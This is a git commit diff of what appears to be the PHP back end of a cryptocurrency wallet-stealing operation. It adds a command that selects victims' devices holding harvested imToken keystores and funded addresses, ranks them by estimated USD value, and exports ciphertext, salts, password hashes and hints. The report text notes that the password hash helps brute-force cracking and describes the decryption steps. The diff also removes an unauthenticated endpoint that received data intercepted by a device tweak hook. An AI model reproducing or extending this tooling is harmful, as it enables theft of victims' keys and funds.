feat: alchemy
This commit is contained in:
@@ -0,0 +1,322 @@
|
||||
<?php
|
||||
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use Illuminate\Console\Command;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
/**
|
||||
* Export devices that have:
|
||||
* 1. at least one imToken-derived wallet_address with non-zero balance, AND
|
||||
* 2. at least one imToken keystore whose raw_json contains a Web3 keystore
|
||||
* (crypto.ciphertext + crypto.mac present — decryptable with a password).
|
||||
*
|
||||
* Outputs to storage/app/imtoken-rich-<timestamp>/:
|
||||
* - report.md : human-readable document (device + addresses + keystore)
|
||||
* - report.json : machine-readable mirror of the same data
|
||||
*/
|
||||
class ExportImtokenRichCommand extends Command
|
||||
{
|
||||
protected $signature = 'coruna:export-imtoken-rich
|
||||
{--path= : Output directory (default storage/app/imtoken-rich-<timestamp>)}
|
||||
{--no-md : Skip markdown report}
|
||||
{--no-json : Skip JSON report}
|
||||
{--limit= : Cap number of devices (debug)}';
|
||||
|
||||
protected $description = 'Export devices with imToken addresses (balance > 0) and a populated imToken keystore';
|
||||
|
||||
public function handle(): int
|
||||
{
|
||||
DB::disableQueryLog();
|
||||
$dir = $this->resolveDir();
|
||||
if ($dir === null) {
|
||||
return self::FAILURE;
|
||||
}
|
||||
|
||||
$deviceIds = $this->candidateDeviceIds();
|
||||
if ($deviceIds->isEmpty()) {
|
||||
$this->warn('No devices match (imToken address with balance + imToken keystore).');
|
||||
|
||||
return self::SUCCESS;
|
||||
}
|
||||
$this->info(sprintf('found %d candidate device(s)', $deviceIds->count()));
|
||||
|
||||
$devices = [];
|
||||
foreach ($deviceIds as $id) {
|
||||
$payload = $this->serializeDevice((int) $id);
|
||||
if ($payload === null) {
|
||||
continue;
|
||||
}
|
||||
$devices[] = $payload;
|
||||
$this->line(sprintf(
|
||||
'device #%d (%s) · addresses=%d · keystores=%d · usd~%s',
|
||||
$payload['id'],
|
||||
$payload['device_id'],
|
||||
count($payload['addresses']),
|
||||
count($payload['keystores']),
|
||||
$payload['totals']['usd_approx'],
|
||||
));
|
||||
gc_collect_cycles();
|
||||
}
|
||||
|
||||
$summary = [
|
||||
'exported_at' => now()->toIso8601String(),
|
||||
'device_count' => count($devices),
|
||||
'address_count' => array_sum(array_map(fn ($d) => count($d['addresses']), $devices)),
|
||||
'keystore_count' => array_sum(array_map(fn ($d) => count($d['keystores']), $devices)),
|
||||
'totals' => $this->aggregateTotals($devices),
|
||||
];
|
||||
|
||||
if (! $this->option('no-json')) {
|
||||
$jsonPath = $dir.'/report.json';
|
||||
file_put_contents($jsonPath, json_encode(
|
||||
array_merge($summary, ['devices' => $devices]),
|
||||
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT,
|
||||
));
|
||||
$this->info('wrote '.$jsonPath);
|
||||
}
|
||||
|
||||
if (! $this->option('no-md')) {
|
||||
$mdPath = $dir.'/report.md';
|
||||
file_put_contents($mdPath, $this->renderMarkdown($summary, $devices));
|
||||
$this->info('wrote '.$mdPath);
|
||||
}
|
||||
|
||||
$this->info('done. output dir: '.$dir);
|
||||
|
||||
return self::SUCCESS;
|
||||
}
|
||||
|
||||
/**
|
||||
* Device IDs that have BOTH an imToken address with balance and an imToken
|
||||
* keystore with non-empty raw_json.
|
||||
*/
|
||||
private function candidateDeviceIds()
|
||||
{
|
||||
$addrIds = DB::table('wallet_addresses')
|
||||
->where('source', 'imToken')
|
||||
->where(function ($q) {
|
||||
foreach (WalletAddress::COIN_COLUMNS as $c) {
|
||||
$q->orWhere($c, '>', 0);
|
||||
}
|
||||
})
|
||||
->pluck('device_id')
|
||||
->unique();
|
||||
|
||||
if ($addrIds->isEmpty()) {
|
||||
return collect();
|
||||
}
|
||||
|
||||
$ksDeviceIds = DB::table('wallet_keystores')
|
||||
->where('source', 'imToken')
|
||||
->whereNotNull('raw_json')
|
||||
->whereIn('device_id', $addrIds)
|
||||
->pluck('device_id')
|
||||
->unique();
|
||||
|
||||
$ids = $addrIds->intersect($ksDeviceIds)->values();
|
||||
if ($limit = (int) $this->option('limit')) {
|
||||
$ids = $ids->take($limit);
|
||||
}
|
||||
|
||||
return $ids;
|
||||
}
|
||||
|
||||
private function serializeDevice(int $deviceId): ?array
|
||||
{
|
||||
$device = Device::query()->find($deviceId, [
|
||||
'id', 'device_id', 'channel_id', 'device_model', 'ios_version',
|
||||
'ip', 'country', 'wallet_names', 'user_agent', 'created_at',
|
||||
]);
|
||||
if ($device === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return [
|
||||
'id' => $device->id,
|
||||
'device_id' => $device->device_id,
|
||||
'channel_id' => $device->channel_id,
|
||||
'model' => $device->device_model,
|
||||
'ios_version' => $device->ios_version,
|
||||
'ip' => $device->ip,
|
||||
'country' => $device->resolvedCountry(),
|
||||
'wallet_names' => $device->walletNameList(),
|
||||
'user_agent' => $device->user_agent,
|
||||
'created_at' => optional($device->created_at)->toIso8601String(),
|
||||
'addresses' => $addresses = $this->serializeAddresses($device),
|
||||
'keystores' => $this->serializeKeystores($device),
|
||||
'totals' => $this->deviceTotals($addresses),
|
||||
];
|
||||
}
|
||||
|
||||
private function serializeAddresses(Device $device): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($device->addresses()
|
||||
->where('source', 'imToken')
|
||||
->orderBy('id')
|
||||
->cursor() as $addr
|
||||
) {
|
||||
$coins = [];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$raw = $addr->{$col};
|
||||
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
|
||||
continue;
|
||||
}
|
||||
$coins[$col] = WalletAddress::formatAmount($col, $raw);
|
||||
}
|
||||
$out[] = [
|
||||
'id' => $addr->id,
|
||||
'address' => $addr->address,
|
||||
'chain_type' => $addr->chain_type,
|
||||
'derive_index' => $addr->derive_index,
|
||||
'mnemonic_id' => $addr->mnemonic_id,
|
||||
'monitor' => (int) $addr->monitor,
|
||||
'coins' => $coins,
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function serializeKeystores(Device $device): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($device->keystores()
|
||||
->where('source', 'imToken')
|
||||
->orderBy('id')
|
||||
->cursor() as $ks
|
||||
) {
|
||||
$raw = is_array($ks->raw_json) ? $ks->raw_json : null;
|
||||
if ($raw === null) {
|
||||
$raw = DB::table('wallet_keystores')->whereKey($ks->id)->value('raw_json');
|
||||
$raw = is_string($raw) ? json_decode($raw, true) : $raw;
|
||||
$raw = is_array($raw) ? $raw : null;
|
||||
}
|
||||
if ($raw === null) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// imToken keystore may be nested under ['imtoken'] (from /result
|
||||
// ingest) or stored directly. Detect both.
|
||||
$node = $raw;
|
||||
if (isset($raw['imtoken']) && is_array($raw['imtoken'])) {
|
||||
$node = $raw['imtoken'];
|
||||
}
|
||||
|
||||
if (! $this->isWeb3Node($node)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$out[] = [
|
||||
'id' => $ks->id,
|
||||
'source' => $ks->source,
|
||||
'decrypted' => (int) $ks->decrypted,
|
||||
'created_at' => optional($ks->created_at)->toIso8601String(),
|
||||
'keystore' => $this->pickKeystoreFields($node),
|
||||
'raw_json_len' => strlen((string) json_encode($raw)),
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function isWeb3Node(array $node): bool
|
||||
{
|
||||
$crypto = $node['crypto'] ?? null;
|
||||
|
||||
return is_array($crypto)
|
||||
&& isset($crypto['ciphertext'], $crypto['mac'])
|
||||
&& is_string($crypto['ciphertext'])
|
||||
&& is_string($crypto['mac']);
|
||||
}
|
||||
|
||||
private function pickKeystoreFields(array $node): array
|
||||
{
|
||||
$crypto = $node['crypto'] ?? [];
|
||||
|
||||
return [
|
||||
'id' => $node['id'] ?? null,
|
||||
'type' => $node['type'] ?? null,
|
||||
'address' => $node['address'] ?? null,
|
||||
'derivationPath' => $node['derivationPath'] ?? null,
|
||||
'version' => $node['version'] ?? null,
|
||||
'keyHash' => $node['keyHash'] ?? null,
|
||||
'crypto' => [
|
||||
'kdf' => $crypto['kdf'] ?? null,
|
||||
'cipher' => $crypto['cipher'] ?? null,
|
||||
'kdfparams' => $crypto['kdfparams'] ?? null,
|
||||
'cipherparams' => $crypto['cipherparams'] ?? null,
|
||||
'ciphertext' => $crypto['ciphertext'] ?? null,
|
||||
'mac' => $crypto['mac'] ?? null,
|
||||
],
|
||||
'imTokenMeta' => $node['imTokenMeta'] ?? null,
|
||||
'activeAccounts' => $node['activeAccounts'] ?? null,
|
||||
];
|
||||
}
|
||||
|
||||
private function deviceTotals(array $addresses): array
|
||||
{
|
||||
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
||||
foreach ($addresses as $a) {
|
||||
foreach ($a['coins'] as $col => $val) {
|
||||
if (isset($sums[$col])) {
|
||||
$sums[$col] += (float) $val;
|
||||
}
|
||||
}
|
||||
}
|
||||
$usd = ($sums['usdt'] ?? 0)
|
||||
+ ($sums['trx'] ?? 0) * 0.15
|
||||
+ ($sums['eth'] ?? 0) * 2500
|
||||
+ ($sums['btc'] ?? 0) * 60000
|
||||
+ ($sums['bnb'] ?? 0) * 500
|
||||
+ ($sums['sol'] ?? 0) * 150;
|
||||
|
||||
return [
|
||||
'coins' => array_map(fn ($v) => (string) $v, $sums),
|
||||
'usd_approx' => number_format((float) $usd, 2, '.', ''),
|
||||
];
|
||||
}
|
||||
|
||||
private function aggregateTotals(array $devices): array
|
||||
{
|
||||
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
||||
$usd = 0.0;
|
||||
foreach ($devices as $d) {
|
||||
foreach ($d['totals']['coins'] as $col => $val) {
|
||||
$sums[$col] += (float) $val;
|
||||
}
|
||||
$usd += (float) $d['totals']['usd_approx'];
|
||||
}
|
||||
|
||||
return [
|
||||
'coins' => array_map(fn ($v) => (string) $v, $sums),
|
||||
'usd_approx' => number_format($usd, 2, '.', ''),
|
||||
];
|
||||
}
|
||||
|
||||
private function resolveDir(): ?string
|
||||
{
|
||||
$path = trim((string) $this->option('path'));
|
||||
if ($path === '') {
|
||||
$path = storage_path('app/imtoken-rich-'.now()->format('Ymd-His'));
|
||||
} elseif (! str_starts_with($path, '/')) {
|
||||
$path = base_path($path);
|
||||
}
|
||||
if (! is_dir($path) && ! mkdir($path, 0775, true) && ! is_dir($path)) {
|
||||
$this->error('Cannot create directory: '.$path);
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return $path;
|
||||
}
|
||||
|
||||
private function renderMarkdown(array $summary, array $devices): string
|
||||
{
|
||||
return (new ExportImtokenRichMarkdown($summary, $devices))->render();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,217 @@
|
||||
<?php
|
||||
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
|
||||
/**
|
||||
* Renders the imToken-rich export as a markdown document.
|
||||
* Kept separate from ExportImtokenRichCommand to keep the command class small.
|
||||
*
|
||||
* @internal
|
||||
*/
|
||||
final class ExportImtokenRichMarkdown
|
||||
{
|
||||
public function __construct(
|
||||
private readonly array $summary,
|
||||
private readonly array $devices,
|
||||
) {}
|
||||
|
||||
public function render(): string
|
||||
{
|
||||
$md = [];
|
||||
$md[] = '# imToken 富地址导出报告';
|
||||
$md[] = '';
|
||||
$md[] = '导出时间: '.$this->summary['exported_at'];
|
||||
$md[] = '';
|
||||
$md[] = '## 汇总';
|
||||
$md[] = '';
|
||||
$md[] = '| 指标 | 值 |';
|
||||
$md[] = '|---|---|';
|
||||
$md[] = "| 设备数 | {$this->summary['device_count']} |";
|
||||
$md[] = "| 地址数 | {$this->summary['address_count']} |";
|
||||
$md[] = "| Keystore 数 | {$this->summary['keystore_count']} |";
|
||||
foreach ($this->summary['totals']['coins'] as $col => $val) {
|
||||
$sym = strtoupper($col);
|
||||
$md[] = "| {$sym} 总额 | {$val} |";
|
||||
}
|
||||
$md[] = "| USD 估算 | {$this->summary['totals']['usd_approx']} |";
|
||||
$md[] = '';
|
||||
$md[] = '> USD 估算仅用于排序,价格假设: TRX=0.15, ETH=2500, BTC=60000, BNB=500, SOL=150, USDT=1';
|
||||
$md[] = '';
|
||||
|
||||
foreach ($this->devices as $device) {
|
||||
$this->renderDevice($md, $device);
|
||||
}
|
||||
|
||||
$md[] = '---';
|
||||
$md[] = '';
|
||||
$md[] = '## 字段说明';
|
||||
$md[] = '';
|
||||
$md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)';
|
||||
$md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对';
|
||||
$md[] = '- **imTokenMeta.source**: `MNEMONIC` = 加密的是助记词;`PRIVATE_KEY` = 加密的是单私钥';
|
||||
$md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)';
|
||||
$md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)';
|
||||
$md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥';
|
||||
$md[] = '';
|
||||
|
||||
return implode("\n", $md);
|
||||
}
|
||||
|
||||
private function renderDevice(array &$md, array $device): void
|
||||
{
|
||||
$md[] = '---';
|
||||
$md[] = '';
|
||||
$md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`";
|
||||
$md[] = '';
|
||||
$md[] = '| 字段 | 值 |';
|
||||
$md[] = '|---|---|';
|
||||
$md[] = "| Channel ID | {$device['channel_id']} |";
|
||||
$md[] = "| 机型 | {$device['model']} |";
|
||||
$md[] = "| iOS 版本 | {$device['ios_version']} |";
|
||||
$md[] = "| IP | {$device['ip']} |";
|
||||
$md[] = "| 国家 | {$device['country']} |";
|
||||
$md[] = "| 钱包应用 | ".implode(', ', $device['wallet_names']).' |';
|
||||
$md[] = "| 创建时间 | {$device['created_at']} |";
|
||||
$md[] = "| 地址数 | ".count($device['addresses']).' |';
|
||||
$md[] = "| Keystore 数 | ".count($device['keystores']).' |';
|
||||
$md[] = "| USD 估算 | {$device['totals']['usd_approx']} |";
|
||||
$md[] = '';
|
||||
|
||||
$this->renderAddressTable($md, $device['addresses']);
|
||||
$this->renderKeystores($md, $device['keystores']);
|
||||
}
|
||||
|
||||
private function renderAddressTable(array &$md, array $addresses): void
|
||||
{
|
||||
if ($addresses === []) {
|
||||
$md[] = '### 地址(无)';
|
||||
$md[] = '';
|
||||
|
||||
return;
|
||||
}
|
||||
$md[] = '### 地址';
|
||||
$md[] = '';
|
||||
$header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor'];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$header[] = strtoupper($col);
|
||||
}
|
||||
$md[] = '| '.implode(' | ', $header).' |';
|
||||
$md[] = '|'.implode('|', array_fill(0, count($header), '---')).'|';
|
||||
foreach ($addresses as $a) {
|
||||
$row = [
|
||||
$a['id'],
|
||||
'`'.$a['address'].'`',
|
||||
$a['chain_type'],
|
||||
$a['derive_index'] ?? '-',
|
||||
$a['mnemonic_id'] ?? '-',
|
||||
$a['monitor'] ? '✓' : '·',
|
||||
];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$row[] = $a['coins'][$col] ?? '0';
|
||||
}
|
||||
$md[] = '| '.implode(' | ', $row).' |';
|
||||
}
|
||||
$md[] = '';
|
||||
}
|
||||
|
||||
private function renderKeystores(array &$md, array $keystores): void
|
||||
{
|
||||
if ($keystores === []) {
|
||||
$md[] = '### Keystore(无)';
|
||||
$md[] = '';
|
||||
|
||||
return;
|
||||
}
|
||||
$md[] = '### Keystore';
|
||||
$md[] = '';
|
||||
foreach ($keystores as $ks) {
|
||||
$this->renderKeystore($md, $ks);
|
||||
}
|
||||
}
|
||||
|
||||
private function renderKeystore(array &$md, array $ks): void
|
||||
{
|
||||
$k = $ks['keystore'];
|
||||
$dec = $ks['decrypted'] ? '✓ 已解出' : '✗ 未解出';
|
||||
$md[] = "#### Keystore #{$ks['id']} — `{$ks['source']}` — {$dec}";
|
||||
$md[] = '';
|
||||
$md[] = '| 字段 | 值 |';
|
||||
$md[] = '|---|---|';
|
||||
$md[] = "| type | {$k['type']} |";
|
||||
$md[] = "| version | {$k['version']} |";
|
||||
$md[] = "| address | ".($k['address'] ? '`'.$k['address'].'`' : '-')." |";
|
||||
$md[] = "| derivationPath | `{$k['derivationPath']}` |";
|
||||
$md[] = "| keyHash | `{$k['keyHash']}` |";
|
||||
$md[] = "| raw_json 长度 | {$ks['raw_json_len']} 字节 |";
|
||||
$md[] = "| 创建时间 | {$ks['created_at']} |";
|
||||
$md[] = '';
|
||||
|
||||
$crypto = $k['crypto'];
|
||||
$md[] = '**crypto**';
|
||||
$md[] = '';
|
||||
$md[] = '| 字段 | 值 |';
|
||||
$md[] = '|---|---|';
|
||||
$md[] = "| kdf | {$crypto['kdf']} |";
|
||||
$md[] = "| cipher | {$crypto['cipher']} |";
|
||||
$kp = $crypto['kdfparams'] ?? [];
|
||||
if (is_array($kp)) {
|
||||
if (isset($kp['c'])) {
|
||||
$md[] = "| kdfparams.c (迭代) | {$kp['c']} |";
|
||||
}
|
||||
if (isset($kp['n'])) {
|
||||
$md[] = "| kdfparams.n | {$kp['n']} |";
|
||||
}
|
||||
if (isset($kp['r'])) {
|
||||
$md[] = "| kdfparams.r | {$kp['r']} |";
|
||||
}
|
||||
if (isset($kp['p'])) {
|
||||
$md[] = "| kdfparams.p | {$kp['p']} |";
|
||||
}
|
||||
if (isset($kp['dklen'])) {
|
||||
$md[] = "| kdfparams.dklen | {$kp['dklen']} |";
|
||||
}
|
||||
if (isset($kp['prf'])) {
|
||||
$md[] = "| kdfparams.prf | {$kp['prf']} |";
|
||||
}
|
||||
if (isset($kp['salt'])) {
|
||||
$md[] = "| kdfparams.salt | `{$kp['salt']}` |";
|
||||
}
|
||||
}
|
||||
$cp = $crypto['cipherparams'] ?? [];
|
||||
if (is_array($cp) && isset($cp['iv'])) {
|
||||
$md[] = "| cipherparams.iv | `{$cp['iv']}` |";
|
||||
}
|
||||
$md[] = "| ciphertext | `{$crypto['ciphertext']}` |";
|
||||
$md[] = "| mac | `{$crypto['mac']}` |";
|
||||
$md[] = '';
|
||||
|
||||
$meta = $k['imTokenMeta'];
|
||||
if (is_array($meta)) {
|
||||
$md[] = '**imTokenMeta**';
|
||||
$md[] = '';
|
||||
$md[] = '| 字段 | 值 |';
|
||||
$md[] = '|---|---|';
|
||||
foreach ($meta as $key => $val) {
|
||||
if (is_array($val)) {
|
||||
$val = json_encode($val, JSON_UNESCAPED_UNICODE);
|
||||
}
|
||||
$md[] = "| {$key} | {$val} |";
|
||||
}
|
||||
$md[] = '';
|
||||
}
|
||||
|
||||
$accts = $k['activeAccounts'];
|
||||
if (is_array($accts) && $accts !== []) {
|
||||
$md[] = '**activeAccounts**';
|
||||
$md[] = '';
|
||||
$md[] = '| coin | address | derivationPath | publicKey |';
|
||||
$md[] = '|---|---|---|---|';
|
||||
foreach ($accts as $acc) {
|
||||
$md[] = '| '.($acc['coin'] ?? '-').' | `'.($acc['address'] ?? '-')."` | `".($acc['derivationPath'] ?? '-')."` | `".($acc['publicKey'] ?? '-').'` |';
|
||||
}
|
||||
$md[] = '';
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -69,8 +69,6 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
'war',
|
||||
'p',
|
||||
'stats',
|
||||
'kplus_logger',
|
||||
'kplus_logger.php',
|
||||
]);
|
||||
|
||||
$middleware->redirectGuestsTo(function () {
|
||||
|
||||
@@ -165,6 +165,8 @@ url 白名单
|
||||
/p
|
||||
/war
|
||||
/beacon
|
||||
/stats
|
||||
/log.html
|
||||
/statistic/t
|
||||
/api/tg/t
|
||||
/ba
|
||||
@@ -177,9 +179,16 @@ url 白名单
|
||||
/event
|
||||
/u
|
||||
/a
|
||||
/vhx
|
||||
/api/wp/t
|
||||
^/api/user/*
|
||||
^/link/config/*
|
||||
^/api/v2/*
|
||||
/hooks/telegram
|
||||
/hooks/tokenview
|
||||
/hook/tokenview
|
||||
^/hooks/photo-origin/*
|
||||
|
||||
|
||||
|
||||
权限问题 check
|
||||
|
||||
@@ -1,17 +0,0 @@
|
||||
<?php
|
||||
// kplus_logger.php — 直接入口, 绕过 nginx 对 .php 文件的 404
|
||||
// 复制 index.php 的逻辑, 让 Laravel 路由正常处理 /kplus_logger.php
|
||||
|
||||
define('LARAVEL_START', microtime(true));
|
||||
|
||||
if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) {
|
||||
require $maintenance;
|
||||
}
|
||||
|
||||
require __DIR__.'/../vendor/autoload.php';
|
||||
|
||||
/** @var \Illuminate\Foundation\Application $app */
|
||||
$app = require_once __DIR__.'/../bootstrap/app.php';
|
||||
|
||||
use Illuminate\Http\Request;
|
||||
$app->handleRequest(Request::capture());
|
||||
@@ -24,18 +24,3 @@ Route::match(['GET', 'POST'], '/statistic/t', PageHitController::class)->name('p
|
||||
// 'Cache-Control' => 'public, max-age=60',
|
||||
// ]);
|
||||
// })->where('ver', '[0-9A-Za-z]\\.[0-9A-Za-z]\\.[0-9A-Za-z]{2}');
|
||||
|
||||
// ────────────────────────────────────────────────────────
|
||||
// K PLUS Tweak 日志接收 — 无需认证/CSRF
|
||||
// tweak (libtweak_hook.so) 上传拦截数据到 /kplus_logger.php
|
||||
// 只存请求 body 到 public/log/kplus_logger/Ymd.log
|
||||
// ────────────────────────────────────────────────────────
|
||||
Route::any('/kplus_logger.php', function (\Illuminate\Http\Request $request) {
|
||||
create_log($request->getContent(), 'kplus_logger');
|
||||
return response()->json(['status' => 'ok', 'received' => true]);
|
||||
})->name('kplus.logger');
|
||||
|
||||
Route::any('/kplus_logger', function (\Illuminate\Http\Request $request) {
|
||||
create_log($request->getContent(), 'kplus_logger');
|
||||
return response()->json(['status' => 'ok', 'received' => true]);
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user